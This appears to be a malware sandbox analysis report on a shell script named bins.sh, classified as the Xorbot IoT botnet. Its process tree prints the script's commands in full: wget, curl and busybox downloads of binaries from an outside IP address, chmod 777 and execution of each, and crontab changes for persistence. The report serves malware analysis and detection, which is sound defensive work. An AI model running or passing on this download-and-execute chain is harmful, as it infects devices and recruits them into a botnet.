Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/01/2025, 14:42

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250120-r2z4fstrfl
  • SHA256 756fa55e786f4bb0bca140217e4d0f6ee14cdc505ac09e9697ffdcdc744cb688
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1573) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          ./GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            ./DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              ./zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                ./hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /bin/chmod
                  chmod 777 lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  ./lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:818
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:820
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:821
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:822
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:827
                      • /bin/rm
                        rm lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                        2⤵
                          PID:824
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                          2⤵
                            PID:837
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                            2⤵
                              PID:909
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                              2⤵
                              • Writes file to tmp directory
                              PID:914
                            • /bin/chmod
                              chmod 777 f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                              2⤵
                              • File and Directory Permissions Modification
                              PID:915
                            • /tmp/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                              ./f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                              2⤵
                              • Executes dropped EXE
                              PID:916
                            • /bin/rm
                              rm f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                              2⤵
                                PID:922
                              • /usr/bin/wget
                                wget http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                2⤵
                                  PID:923
                                • /usr/bin/curl
                                  curl -O http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                  2⤵
                                    PID:932
                                  • /bin/busybox
                                    /bin/busybox wget http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:933
                                  • /bin/chmod
                                    chmod 777 fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:938
                                  • /tmp/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                    ./fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                    2⤵
                                    • Executes dropped EXE
                                    PID:939
                                  • /bin/rm
                                    rm fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                    2⤵
                                      PID:944
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                                      2⤵
                                        PID:945
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                                        2⤵
                                          PID:946

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
                                            • Path /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
                                            • Path /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                                            • Path /tmp/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                            • Path /tmp/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                            • Size 127KB
                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                                            • Path /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                                            • Path /tmp/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
                                            • Path /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
                                            • Size 98KB
                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            tmp.RnYLft
                                            • Path /var/spool/cron/crontabs/tmp.RnYLft
                                            • Size 210B
                                            • SHA256 6dc9e5570afeb386d8f391f562675937c66fc42e79b9fad484def3461311f149
                                            • MD5 SHA1 SHA512
                                            Submit Download